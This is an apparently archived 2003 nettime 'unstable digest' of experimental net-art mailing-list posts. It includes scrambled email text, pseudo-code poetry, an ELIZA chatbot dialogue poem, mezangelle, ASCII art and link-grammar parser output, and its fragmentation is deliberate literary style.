sens.comonprir\nmail.comqfzfro prodigy.net.mxpxxgvwql u sa.comail.com please_d on't_rep\nly_here {AT}  use_cont earthlink.netkikgvy yahoo.comdinowanga netscape.net\nbgqrye yahoo.comnmffii {AT} a buse.net auto246 5cray {AT} bo zworld.n et art30 4\nminutes 0 seconds yahoo.combashermobutu lycos.comdddtelma rk seznam.czefxf\nl aox lprir {AT} m ail.com qfzfro {AT} p rodigy.n et.mx px xgvwql {AT} u but\nyahoo.com.hkmailmanager videoed.com ngvlou yahoo.comkenibru go.combyblwge\narthlink .net kik gvy {AT} yaho o.com di nowanga {AT}  netscape .netened with 6\nhotmail.commail u .info qijqlg hansenet.dehindalive\nastresearch.compwubvyoo.com nmffii {AT}  yahoo.co m basher mobutu39  {AT} lycos.c om\ndddtelmated Sun, 8 yahoo.com.hkmailmanager videoed.com ngvlouhotmai\n\n\n___\n\n\nTo: syndicate syndicate <syndicate {AT} anart.no>, 7-11 {AT} mail.ljudmila.org,\nFrom: \"<__lo-y. >\" <loy {AT} myrealbox.com>\nSubject: 010610  - 030610\nDate: Tue, 10 Jun 2003 12:18:45 +0200\n\nK-DT\n\n\nSUB.costraan/int\n   lith.spyr.nt4.dert\n   380 {AT} g {AT} hels[tr]y[sec]/aarch.me.nl, el: 0498\n   naes {AT} paccte\n   sert {AT} sich[l]ttr.cld+\n\n\nSUB.ca\n   al.Mng: u ev[d]r.moon =3D te/long\n\n\nSUB.or[g]a[ller]s.cussc-nel: no\n   nadb-[s]tt[r]aarc.heynde\n   sta[m][n].g.ocken Musitth V&y-Vlist: l.spr-u-ren csp.nst-f\n   lip.pt, en em\n   nass.craal\n   logemsn.tang: 09.340_A'pentels\n   lld->ca\n\n   st: no\n     nadr/int\n\n     st: nu-Fri-lds, pronst\n       l.spr-[nce]u-na[m]do.csv2kdt\n\n         st.rt.breng: n Vlan ceckel: st/symb\n           emai 45.455\n\n           st: novinckert\n\n   sa Mon.vers\n\n\nSUB.lince\n   dar.t: n cso.nfor-rc+ (Dout!)\n\n\nSUB.lo-y.per\n   lags =3D 030610 - 010610 [nl.sens {AT} n-lo-arch.t/sr-ng]\n\n\nSUB.ort\n   naet\n   namen->lince->lo_y.per\n\n\nSUB.tf-lockx\n   n.ss: eng\n\n   std: card->ort\n\n   prn.cos.fc.ouni=EBl-ns {AT} pt.w.m-vrd\n   x.v-ressel/symb\n\n\nSUB.tuel\n   st: lud.d.aning\n     ns-arsschurmac.here\n     liel: mart.ntryn.dar_nd-y_vaniens\n\n   Vaesscusiq.ct.hld.ord pent\n   nasv: n c-wield->lince->ort\n\n\nMAIN\n   ca->lince\n   tf-lockx: ort\n   costraan/2->lince\n   ca->or[g]a[ller]s.cussc-nel: no->tuel\n\n   std: tf-lockx\nENDMAIN\n\n\n\nlo_y\n\n\n\nFrom: 6digit {AT} galeon.com\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: shrink fodder\nDate: Thu, 12 Jun 2003 12:26:18 +0200\n\nShrink Fodder\n\n\n\n\nHi! I'm Eliza. What's your problem?\n\n\n>This is not a text, really.\n\nSay, do you have any psychological problems?\n\n\n>It's an arena for intervention\n\nWhat does that suggest to you?\n\n\n>Yours to mess around with at will.\n\nI see.\n\n\n>This is not a text, really.\n\nI'm not sure I understand you fully.\n\n\n>It seems to have a structure, a cadence...\n\nCome come elucidate your thoughts.\n\n\n>A syntax all its own...\n\nCan you elaborate on that?\n\n\n>But that's only an illusion...\n\nThat is quite interesting.\n\n\n>...to make you feel like you're fucking around with, like,\nreal meaning...\n\nWe were discussing you--not me.\n\n\n>It is closer to speech than anything ever printed\n\nSay, do you have any psychological problems?\n\n\n>This is not a text, really.\n\nWhat does that suggest to you?\n\n\n>It can break up and make up right before your eyes.\n\nWhy are you concerned about my eyes?\n\n\n>Signifiance as spectacle, mythopoiesis at the touch of a\nmouse- button...\n\nI see.\n\n\n>This is not a text, really.\n\nI'm not sure I understand you fully.\n\n\n>Infinite meaning, endless free-form permutation...\n\nCome come elucidate your thoughts.\n\n\n>Recombinant matrix, performative text-fingering...\n\nCan you elaborate on that?\n\n\n>A deconstructivist's utopia...\n\nThat is quite interesting.\n\n\n>This is not a text, really.\n\nSay, do you have any psychological problems?\n\n\n>It's more like a living creature\n\nWhat does that suggest to you?\n\n\n>An Amazonian rainforest, an unplanned economy\n\nI see.\n\n\n>This is not a text, really.\n\nI'm not sure I understand you fully.\n\n\n>There are no limits, no rules, no selection.\n\nAre you saying no just to be negative?\n\n\n>It's horizontal, rhizomatic, deluded, deleuzian...\n\nCome come elucidate your thoughts.\n\n\n>This is not a text, really.\n\nCan you elaborate on that?\n\n\n>It's far from grammatical regulations and semantic\ncoherence\n\nThat is quite interesting.\n\n\n>Oh no, that's for girls, you know...\n\nYou are being a bit negative.\n\n\n>Us, we know what we want and we know how to get it\n\nWhy do you ask?\n\n\n>This is not a text, really.\n\nSay, do you have any psychological problems?\n\n\n>It's more like the thoughts that cross the fly's mind...\n\nWhat does that suggest to you?\n\n\n>...as it crashes against the clean surface of a window.\n\nI see.\n\n\n>Signifiance prints a text-fingering\n\nI'm not sure I understand you fully.\n\n\n>A right getting permutation gets a text-fingering\n\nCome come elucidate your thoughts.\n\n\n>A text crosses at a free-form matrix\n\nCan you elaborate on that?\n\n\n>A mythopoiesis prints to an infinite matrix\n\nThat is quite interesting.\n\n\n>A grammatical cadence only crashes up a clean syntax\n\nSay, do you have any psychological problems?\n\n\n>A regulation only messes up cadences\n\nWhat does that suggest to you?\n\n\n>A will crashes with a free-form coherence\n\nI see.\n\n\n>Coherence text-fingers the grammatical and semantic\nmeanings\n\nI'm not sure I understand you fully.\n\n\n>A deconstructivist text-fingers against a clean spectacle\n\nCome come elucidate your thoughts.\n\n\n>Eye makes the clean and real meanings\n\nCan you elaborate on that?\n\n\n>A recombinant anything is an infinite girl\n\nThat is quite interesting.\n\n\n>An infinite anything is an endless regulation\n\nSay, do you have any psychological problems?\n\n\n>A right making permutation text-fingers an infinite\ncoherence\n\nWhat does that suggest to you?\n\n\n>Speech seems an illusion\nI see.\n\n\n>A clean spectacle is an endless text...\n\nI'm not sure I understand you fully.\n\n\n>Mythopoiesis prints the recombinant and infinite syntaxes\n\nCome come elucidate your thoughts.\n\n\n>A real will really text-fingers with an infinite will\n\nCan you elaborate on that?\n\n\n>Regulation breaks the clean and semantic utopias\n\nThat is quite interesting.\n\n\n>A really text-fingering touch feels a clean meaning\n\nSay, do you have any psychological problems?\n\n\n>An eye gets at an endless touch\n\nWhat does that suggest to you?\n\n\n>A syntax breaks at a recombinant permutation\n\nI see.\n\n\n>Speech makes the recombinant and infinite spectacles\n\nI'm not sure I understand you fully.\n\n\n>Girl prints a speech given\n\nCome come elucidate your thoughts.\n\n\n>Eye has the real and free-form utopias\n\nCan you elaborate on that?\n\n\n>Eye has a will, and...\n\nThat is quite interesting.\n\n\n>A real spectacle is an infinite girl\n\nSay, do you have any psychological problems?\n\n\n>A mouse-button fucks against an endless spectacle\n\nWhat does that suggest to you?\n\n\n>Structure prints an illusion, so....\n\nI see.\n\n\n>An endless illusion is a semantic mythopoiesis?\n\nI'm not sure I understand you fully.\n\n\n>An infinite cadence is an infinite text-fingering\n\nCome come elucidate your thoughts.\n\n\n>A girl only prints against interventions\n\nCan you elaborate on that?\n\n\n>An ever breaking matrix fucks a free-form permutation\n\nThat is quite interesting.\n\n\n>A touch only makes up spectacles\n\nSay, do you have any psychological problems?\n\n\n>Will knows the grammatical and real cadences\n\nWhat does that suggest to you?\n\n\n>Girl gets the recombinant and infinite eyes\n\nI see.\n\n\n>Text wants the endless and real syntaxes\n\nI'm not sure I understand you fully.\n\n\n>A structure crashes before an endless girl\n\nCome come elucidate your thoughts.\n\n\n>shut up\n\nOkay if you feel that way I'll shut up.\n\n>\n\n\n\n\n10/06/2003\n\n\nKamen Nedev\nhttp://www.6digit.tk\n--------------------------------------------------------------------------------------------------------\n\u017cQuieres conocer tu futuro? Te leemos las cartas de forma personalizada en el 906 150 305\n\nhttp://www.miwebcam.com/dialers/hispatarot/\n\n--------------------------------------------------------------------------------------------------------\n\n\u0104Averigua si est\u00e1 libre tu nombre de dominio! http://dominios.hispavista.com\n\n\nDate: Fri, 13 Jun 2003 08:30:04 +1000\nTo: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _ Fo[o]d.der _\n\nAt 07:38 AM 11/06/2003 -0700, you wrote:\n\n\n\n\n>His + Her texts, really.\n>\n>\n>sign.age + d.fiance prints\n>a right txt_letting mutation gets_in_free\n>[]finger .ish?\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\n\n\nnettime unstable digest vol 51\nSun Jun 15 16:55:58 2003\n\n\nSubject: Re: o-o {AT} konf.lt\n    From: o-o {AT} konf.lt\n    To: o-o {AT} konf.lt\n\nSubject: IPRIP\n    From: lq <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\n\nSubject: Re:  _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\n    From: Beatrice Beaubien <webmaven {AT} i2eye.com>\n    To: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\n\nSubject: Re:  _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: of things <7-11 {AT} mail.ljudmila.org>\n\nSubject: readds a second-time> 17/please see her, Baei{\n    From: lq <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: please consider for UD - check the ending/structure - thanks, Alan\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: miracle-mirage-2-\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: real-time editing errors hiding corporate gangsters\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: 010610  - 030610\n    From: \"<__lo-y. >\" <loy {AT} myrealbox.com>\n    To: syndicate syndicate <syndicate {AT} anart.no>, 7-11 {AT} mail.ljudmila.org,\n\nSubject: shrink fodder\n    From: 6digit {AT} galeon.com\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: _ Fo[o]d.der _\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: a place for discussion and improvement of things <7-11 {AT} mail.ljudmila.org>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 16 Jun 2003 12:35:45 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200306161837.h5GIbEq26209 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0306/msg00083.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 51"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00051",
                "content": "\nDate: Tue, 3 Jun 2003 13:13:09 +0200\nTo: syndicate {AT} anart.no\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>(by way of Auriea.)\nSubject: LINK42\n\n\n------------\u00f1054638885-643-145\nX-MIME-Autoconverted: from 8bit to quoted-printable by anart.no id h53BEle22779\n\n\n\n\n                          +--------------------------Os--------------------\n     +---------Wi---------+                               +----------A-----\n     |                    |                               |\nLEFT-WALL spielvellandravelxatatonev[?].v spielvellandravelxatatonev[?].a\n\n\n-----+\n-----+\n      |\npleta[?].n\n\n\n\n\n               +--------------Sp-------------+\n               |                             |\n[-] [000002] 992 worldeclaredeworldedworldeclaredeworldedworldeclar[!].v\n\n\n                          +-----------\n     +----Wi---+----Os----+---Rn---+--\n     |         |          |        |\nLEFT-WALL [-][?].v [000002][?].n 992\n\n\n-------Bs------------------+\n------------Sp-------------+\n                            |\nworldeclaredeworldedworldeclaredeworldedworldeclar[?].v\n\n\n     +---------------------Xp---------------------+\n     +---Wi---+-----Os-----+-------Mv------+      |\n     |        |            |               |      |\nLEFT-WALL ./[?].v ./+/+/+/+/+/[?].n wrinted[!].v . [./]\n\n\n\n     +-----------------------------------------------Xp---------------\n     |                                     +----------------Os--------\n     +----------Wd---------+               |             +----------A-\n     |        +------A-----+-------Ss------+             |       +----\n     |        |            |               |             |       |\nLEFT-WALL ./[?].a ./+/+/+/+/+/[?].n wrinted[!].v [.] ./[?].a ./[?].a\n\n\n-------------------------------+\n--------+                      |\n--------+                      |\n--A-----+-------Mv------+      |\n         |               |      |\n./+/+/+/+/+/[?].n wrinted[!].v . [./]\n\n\n\n\n\n\n--------Xp-----------------------------------------------------------\n--------+\n--------+\n--------+\n--------+               +----------------Os----------------+\n--------+               |             +----------A---------+\n--A-----+-------Ss------+             |       +------A-----+-------Mv\n         |               |             |       |            |\n./+/+/+/+/+/[?].n wrinted[!].v [.] ./[?].a ./[?].a ./+/+/+/+/+/[?].n\n\n\n-------------+\n              |\n              |\n              |\n              |\n              |\n------+      |\n       |      |\nwrinted[!].v . [./]\n\n\n\n\n              +-----------------------------Os-----------------------------+\n              |         +-------------------------A------------------------+\n              |         |         +--------------------A-------------------+\n              |         |         |      +----------------A----------------+\n              |         |         |      |      +-------------A------------+\n              |         |         |      |      |         +--------A-------+\n     +---Wi---+         |         |      |      |         |         +---A--+\n     |        |         |         |      |      |         |         |      |\nLEFT-WALL >[?].v -------[?].a >[?].a >[?].a >[?].a -------[?].a >[?].a >[?].n\n\n\n\n\n\n                 +--------Os--------+\n     +-----Wi----+         +----A---+\n     |           |         |        |\nLEFT-WALL ynudaob[?].v 0>[?].a 0du[?].n\n\n\n\n\n[,] [1] [80] [0] [2] [8] [D] [7] [0]\n\n\n\n[,] [1] [80] [0] [2] [8] [D] [7] [0] [,] [1] [80] [0] [2] [8] [D] [7] [0]\n\n\n\n\n[.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.] [.]\n\n\n[.]\n\n\n\n\n\n     +-----Wi-----+--Pv--+\n     |            |      |\nLEFT-WALL [to] be.v filled.v\n\n\n\n\n     +-----Wi-----+--Pv--+-MVi-+-Ix+--Pv--+-MVi-+-Ix+--Pv--+\n     |            |      |     |   |      |     |   |      |\nLEFT-WALL [to] be.v filled.v to be.v filled.v to be.v filled.v\n\n\n\n\n              +-----------------------------Os----------------------\n              |       +-------------------------A-------------------\n              |       |        +---------------------A--------------\n              |       |        |        +----------------A----------\n              |       |        |        |       +------------A------\n     +---Wi---+       |        |        |       |          +-------A\n     |        |       |        |        |       |          |\nLEFT-WALL |[?].v |||[?].a ||||[?].a ||[?].a |[?].a fieldThree[?].a\n\n\n------+\n------+\n------+\n------+\n------+\n------+\n       |\nfieldTwo[?].n [-] [']\n\n\n\n     +-------Wi-------+-----Os----+\n     |                |           |\nLEFT-WALL [for] utur_e[?].v [)] Xse [module]\n\n\n\n\n                      +----------------------------------------Os---------\n                      |                       +---------------------------\n                      |                       |            +--------------\n                      |                       |            |\n                      |                       |            |\n     +-------Wi-------+                       |            +--Xc--+\n     |                |                       |            |      |\nLEFT-WALL [for] utur_e[?].v [)] [Xse] modulefor[?].a utur_e[?].a ) [Xse]\n\n\n------------------------------+\n-A----------------------------+\n--------A---------------------+\n        +-----------A----------+\n        |            +----A----+\n        |            +--Xc--+  |\n        |            |      |  |\nmodulefor[?].a utur_e[?].a ) Xse [module]\n\n\n\nbrackets.n squares.n ][?].v or circles.n .not[?].n ]brackets[!].v squares.v\n\n\n--------------+\n               +--------Os--------+\n               |         +----A---+\n               |         |        |\n][?].n or circles.v .not[?].a ][?].n\n\n\n                                    +--------------------------Ss------------\n                                    +----------Bp----------+\n                                    +----Rn---+-----Ss-----+\n                                    |         |            |\nbrackets.n squares.n ][?].v or circles.n .not[?].n ]brackets[!].v squares.v\n\n\n--------------+\n               +--------Os--------+\n               |         +----A---+\n               |         |        |\n][?].n or circles.v .not[?].a ][?].n\n\n\n\n\n\n                                                   +----------------Os-----\n                                                   |            +----------\n                                                   |            |      +---\n   +-----------------------Sp----------------------+            |      |\n   |                                               |            |      |\n5352 [yellow] [red] [red] [orange] [green] purple5352[?].v yellow.a red.a\n\n\n----------+\nA---------+\n---A------+\n   +---A---+\n   |       |\nred.a orange.n [green] [purple]\n\n\n\n\n\n                            +-----------------MX----------------+\n                            |        +------------Xd------------+\n                            |        |       +---------A--------+\n     +-----Wi----+----Os----+        |       +--Xc--+           +-------Xc-\n     |           |          |        |       |      |           |\nLEFT-WALL [b][=-4][?].v Subject [:] ( <------[?].a ) 5-12-2001-17:43[?].n\n\n\n-----+\n      |\nRIGHT-WALL\n\n\n\n\n\n\n     +----------------------------------Xp----------------------------------+\n     |        +----------------------------Os---------------------------+   |\n     |        |      +-------------------------A------------------------+   |\n     +---Wi---+      |           +----G----+--G--+-G-+--G--+---G---+-AN-+   |\n     |        |      |           |         |     |   |     |       |    |   |\nLEFT-WALL |[?].v \\[?].a [.] PRONOUNCE DECLARED AS WORLD THIS ['] I| \\[?].n .\n\n\n[PRONOUNCE] [DECLARED] [AS] [WORLD] [THIS] ['] [I]\n\n\n\n\n\n\n\n                                                       +-------------------\n                                                       |                 +-\n                                                       |                 |\n                       +----------MVp---------+        |                 |\n     +--------Wi-------+-------Os-------+     +---Jp---+-----Mg----+     |\n     |                 |                |     |        |           |     |\nLEFT-WALL dergrees.Tseslius\u00b0C([?].v |[?].n below -slius[?].n freezing.v -\n\n\n-------MXs-------------------------+\n----------------Xd-----------------+\n      +--------------A--------------+\n      |            +--------A-------+\n      |            |         +--AN--+-Xc+\n      |            |         |      |   |\n_under[?].a _000001[?].a zero.n |[?].n ) [437]\n\n\n\n\n\n\n\n[MAN=IS=NOT=THE=WORLD] [definition] [definition]\n\n\n\n\n\n--------------------------+-----------------------------------------B\n--------------------------+-----------------------------------Rn-----\n--------------------------+           +-----------------------------A\n----A---------------------+           |           +------------------\n----------A---------------+           |           |           +------\n      +----------A---------+           |           |           |\n      |          +----AN---+           |           |           |\n      |          |         |           |           |           |\nselfde[?].a finger.n lqaerl[?].n senten[?].a dunsur[?].a ispair[?].a\n\n\ns----------------------------------------+\n-----------------------------+           |\n-----------------------------+           |\n-----A-----------------------+           |\n-----------A-----------------+           |\n      +-----------A-----------+           |\n      |           +-----A-----+-----Ss----+\n      |           |           |           |\nreatol[?].a mporti[?].a quizer[?].n decoms[!].v\n\n\n\n\n\n     |                |           |       |      |      |      |     |\nLEFT-WALL [ox0oo] o[?].v [oo] 0o[?].a o[?].a i[?].a o[?].a o[?].a Sp.ra [.]\n\n\n----------------------------------------------+\n----+                                         |\n----+                                         |\n----+                                         |\n----+                                         +-------------Jp---------\n----+                                         |    +-----------A-------\n----+                                         |    |       +-------A---\n----+                                         |    |       |      +---A\n     |                                         |    |       |      |\nooI[?].n [xo] [oooxooIo] [Xo] [oo] [ooio] [X] : oo[?].a o[?].a oo[?].a\n\n\n---+\n---+\n---+\n---+\n    |\noo[?].n\n\n     |                     |       |             |              |      |\nLEFT-WALL [link] [||] |_|[?].v |[?].a 14-11-2002-13:44[?].a |[?].a ~[?].a\n\n\ns---------------------------------------------+\n---A------------------------------------------+\n----------A-----------------------------------+\n------------------A---------------------------+\n---------------------A------------------------+\n    +---------------------A--------------------+\n    |         +----------------A---------------+\n    |         |         +-----------A----------+\n    |         |         |      +-------A-------+----------\n    |         |         |      |       +---A---+--Rn--+---\n    |         |         |      |       |       |      |\n||[?].a 'green[?].a >[?].a ||[?].a ||[?].a e[?].n 121452\n\n\n-------Bs----------------+\n----------Sp-------------+\n                          |\nred|green|green|||||white|||||blue||||||orange[?].v [4]\n\n\n\n\n                |         |       |         +-------------------------\n                |         |       |         |         +---------------\n                |         |       |         |         |         +-----\n                |         |       |         |         |         |\n                |         |       |         |         |         |\n                |         |       |         |         |         |\n     +----Wi----+         |       |         |         |         |\n     |          |         |       |         |         |         |\nLEFT-WALL pkg_h[?].v dpk[?].a cd[?].a dpkoiu[?].a cd[?].a pkg_h[?].a\n\n\n------------------------------------------------+\n--A---------------------------------------------+\n------A-----------------------------------------+\n-----------A------------------------------------+\n----------------A-------------------------------+\n---------------------A--------------------------+\n        +--------------------A-------------------+\n        |            +-------------A-------------+\n        |            |       +---------A---------+\n        |            |       |         +----A----+\n        |            |       |         |         |\ntacfpk_aca[?].a oiu[?].a cd[?].a pkg_h[?].a tac2[?].n [pkg_h] [dpkap] [oi]\n\n\n\n\n+G+----G----+-G+--Ss-+---Os---+\n| |         |  |     |        |\nT P [that] I.n A accepts.v that.p [knows] [believes]\n\n\n\n                                                  +---------------------Ss-\n                                                  +-------------Bs---------\n                                                  |              +---Cr--+\n+G+----G----+-G+--Ss-+---TH---+--------Cet-------+-------R------+    +-G+-\n| |         |  |     |        |                  |              |    |  |\nT P [that] I.n A accepts.v that.c [knows] believesT[?].n [P] that.r I.n A\n\n\n--------------------+\n----+               |\n     |               |\n-Ss-+               |\n     |               |\naccepts.v [that] knows.v [believes]\n\n\n                  |      |      +----------------------A-------------------\n                  |      |      |          +-----------------A-------------\n                  |      |      |          |      +-------------A----------\n                  |      |      |          |      |      +----------A------\n                  |      |      |          |      |      |      +------A---\n     +-----Wi-----+      |      |          |      |      |      |      +---\n     |            |      |      |          |      |      |      |      |\nLEFT-WALL [i] d[?].v l[?].a m[?].a [r] e[?].a d[?].a l[?].a d[?].a |[?].a\n\n\n---+\n---+\n---+\n---+\n---+\n---+\n---+\nA--+\n    |\nn[?].n [r] [e] [_] [e] [w] [o] [e] [a] [c] [d]\n\n\n[availabilityramoccentRAaramerikaIMMARea]\n\n\n                        +--------------------------MVp------------------------\n                        +-----------------------Os-----------------------+\n                        |                   +--------------A-------------+\n                        |                   |              +------A------+\n     +--------Wi--------+                   |              |      +---A--+\n     |                  |                   |              |      |      |\nLEFT-WALL [our] ance,allow[?].v ueendressed;feetq[?].a >[?].a >[?].a force.n\n\n\n-+---------------------Jp--------------------+\n  |   +-------------------AN------------------+\n  |   |          +--------------A-------------+\n  |   |          |           +--------A-------+\n  |   |          |           |       +----A---+\n  |   |          |           |       |        |\nat age.n eichtviell[?].a >[?].a ity[?].a grav[?].n [as]\n\n\n\n\n\n\n\n\n                          +--------------------Sp--------------------+\n                          +-----------Bp-----------+                 |\n                          +--Rn-+--------Sp--------+                 |\n                          |     |                  |                 |\n[(] [||] [purple:|] 0.543755.0 3 [)] |:black:green:orange:|[?].v '|[?].v\n\n\n-----------------Os---------------------+\n    +-----------------AN-----------------+------------------------\n    |      +--------------A--------------+            +-----------\n    |      |          +---------A--------+            +-----------\n    |      |          |       +-----A----+-----Rn-----+--Rn-+-----\n    |      |          |       |          |            |     |\nzero.n |[?].a ['] |([?].a ||[?].a purple:|[?].n 0.543755.0 3 [)]\n\n\n---------Bs--------------------------------+\n---------------Sp--------------------------+\nBp-----------+                             |\n---Sp--------+                             |\n              |                             |\n|:black:green:orange:|[?].v ['|] [zero] |[?].v ['] [|]\n\n\n\n\n                                          +------------------Jp-------------\n                                          |   +---------------Dsu-----------\n                    +---------MVa---------+   |       +------------A--------\n                    +------Os------+      |   |       |          +------AN--\n     +------Wi------+      +---AN--+      |   |       |          |      +---\n     |              |      |       |      |   |       |          |      |\nLEFT-WALL [new] load.v space.n i[?].n down.e a trulynew[?].a load.n space.n\n\n\n---+\n---+\n---+\n---+\nN--+\n    |\ni[?].n [down] [a] [truly]\n\n\n\n\n\n\n                +-----------------------------------Ds-------------------------\n                |      +--------------------------------AN---------------------\n                |      |           +--------------------------A----------------\n                |      |           |                             +-----------A-\n                |      |           |                             |\n[made] [your] the iceberg.n sufficient.a [the] [not] [the] ismade[?].a [your]\n\n\n----------+\n----------+\n----------+\n----------+------------------Ss------------------+\n           |                                      |\n[the] iceberg.n [sufficient] [the] [not] [the] is.v\n\n\n         +------------------------------Op------------------------------+\n         |            +------------------------A------------------------+\n         |            |            +------------------A-----------------+\n         |            |            |            +-----------A-----------+\n+---Sp--+            |            |            |            +-----A----+\n|       |            |            |            |            |          |\n6 starts6[?].v starts6[?].a starts6[?].a starts6[?].a starts6[?].a starts.n\n\n\n\n\n\n\nendsix\n\n\n\n\n\n.\n\n------------\u00f1054638885-643-145\nContent-Disposition: inline; filename\u00ffessage-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------\u00f1054638885-643-145--\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"whisettesLisette\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: [ radio radio]\nDate: Mon, 02 Jun 2003 20:50:36 -0600\n\nRE:tune\nD:tune\nC:hm\n//\nf:ROM:\nautumn-frequency\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: [ c]8\nDate: Sat, 31 May 2003 20:49:12 -0600\n\n-============================\nest.DTS.abl.seTTe.clst_eRR(s)_plugIn_spc\n-============================\n+oft(n).x.reTTe mem.STAT++++++\n----------------------//K-Line-open.dat\n+work.stat.i/o/(n).......(n)+++++++++++ \n+multi_processORRs:......acc.+SPC::::::\n++/-\n//\n.\nautumn-frequency\n----------------\nSENT\n-\n=\n--\n+++SIG\n--\n=\n-\n(nuLL)\n-\n=\n--\n+++STAT\n--\n=\n-\n.\nautumn-frequency\n----------------\nCUTIMESPLINEQUOTESPACESENTO:\nautumn-frequency\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: rev.e ver\nDate: Wed, 04 Jun 2003 23:02:48 +0200\n\n    KEY:\tr R s e E f a q Q t T d w W c z x v g k i j p P u h y n b m l o\n\nnil t t t t nil nil nil nil nil t)\n\n\ninitials: b p m f d t n l z c s zh ch sh r j q x g k h\nfinals: a o e i er ai ei oa ou an en ang eng ong i ia iao ie iu ian in\n           iang ing iong u ua uo uai ui uan un uan ueng yu yue yuan yun\n\n\nnous ne pouvons pas d\u00e9velopper des solut iong u ua uo uai ui uan un uan\nueng yu yue yuan yun\n\n                                  des s0 0 0 0lut ion s\n\nla dette, le sida, le financement du d\u00e9vel0 0 0 0ppement,\nles transferts d'armes, le terr0 0 0 0risme, le Nepad, etc.\n\nc                   n    u\n    h               a   a t   re des p0 0 0 0litiques de d\u00e9vel0 0 0 0ppement\n      a      er    l\n         n g\n\n     http://www.atelierblanc.net/p-gustin/uTOpia/capture41.png\n\n    [\n      0 0 